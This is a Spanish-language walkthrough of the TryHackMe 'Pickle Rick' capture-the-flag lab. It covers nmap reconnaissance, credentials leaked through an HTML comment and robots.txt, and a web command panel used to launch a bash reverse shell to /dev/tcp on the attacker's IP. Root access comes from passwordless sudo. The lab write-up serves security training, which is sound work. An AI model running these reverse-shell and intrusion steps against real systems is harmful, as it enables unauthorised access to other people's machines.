Pickle Rick
December 10, 20225 minutes
Un CTF de Rick y Morty. ¡Ayuda a que Rick vuelva a ser humano!
https://tryhackme.com/room/picklerick
Este desafío temático de Rick y Morty requiere explotar un servidor web para encontrar 3 ingredientes que ayudarán a Rick a hacer su poción para transformarse de nuevo en un ser humano a partir de un pepinillo.
IP Atacante = 10.10.10.10
IP víctima = 10.10.26.25
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.26.25
PING 10.10.26.25 (10.10.26.25) 56(84) bytes of data.
64 bytes from 10.10.26.25: icmp_seq=1 ttl=63 time=63.6 ms
--- 10.10.26.25 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 63.615/63.615/63.615/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.26.25 -oG allPorts
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPorts |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.26.25
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p22,80 -sC -sV 10.10.11.105
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d1ed3a0a8738271e3eafc898ea5b27 (RSA)
| 256 7396d9e64c6a499612a1b46f571db2 (ECDSA)
|_ 256 669f61effb12c69123cbc6280a5d1a (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
Parámetro | Función |
---|---|
-p22,80 | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
De momento no hay nada raro…
Reconocimiento web
Al entrar a la web lo primero que se ve es lo siguiente
El texto traducido al español es:
Ayuda Morty!
Escucha Morty… Necesito tu ayuda, me he vuelto a convertir en un pepinillo y esta vez no puedo volver a cambiar.
Necesito que BURRRP ….Morty, inicia sesión en mi computadora y encuentra los últimos tres ingredientes secretos para terminar mi poción de pepinillo inverso. ¡El único problema es que no tengo idea de cuál era la contraseña BURRRRRRRRP ! ¡Ayuda Morty, ayuda!
Con control + u se puede ver si hay algo en el codigo de la web.
En una línea se puede ver un comentario que contiene el nombre de un usuario
<!--
Note to self, remember username!
Username: R1ckRul3s
-->
Buscando subdirectorios
Para buscar subdirectorios e intentado con wfuzz (wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.170:8080/FUZZ
) y con gobuster (gobuster -u 10.10.43.4 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir
) pero tardaban mucho. Asi que probe con un script de nmap llamado http-enum
❯ nmap -p80 --script=http-enum 10.10.43.4
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 01:05 CET
Nmap scan report for 10.10.43.4
Host is up (0.064s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /login.php: Possible admin folder
|_ /robots.txt: Robots file
Nmap done: 1 IP address (1 host up) scanned in 7.55 seconds
El nmap reporta 2: robots.txt y login.php
robots.txt
Al entrar a robots.txt solo se ve una frase Wubbalubbadubdub
login.php
Al entrar a login.php hay un panel para iniciar sesión, al poner el usuario del principio y la frase del robots.txt de contraseña se abre una página llamada portal.php que hay varias secciones, pero hay una que se llama commands en la cual se pueden ejecutar comandos
Infiltración
Vamos a intentar crear una reverse shell mediante esa ejecución de comandos.
nc -nlvp 443
Para ponernos en escucha por el puerto 443
Ahora desde de la web vamos a intentar ejecutar lo siguiente:
bash -i >& /dev/tcp/10.10.10.10/443 0>&1
443 = Puerto en el que estamos en escucha 10.10.10.10 = Ip de nuestra máquina
Pero no recibimos nada
bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"
Ahora si ya tenemos la reverse shell.
Tratamiento de tty
Antes para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm
“Flags”
Para resolver la máquina necesitamos saber los tres ingredientes.
- El primero lo encontramos en el directorio
/var/www/html
en un archivo llamadoSup3rS3cretPickl3Ingred.txt
- El segundo está en
/home/rick
en un archivo llamadosecond ingredients
- El último está en el directorio
/root
, pero no tenemos acceso, al probar con un sudo su, no pide la contraseña y ya podemos visualizar el último ingrediente que está en un archivo llamado3rd.txt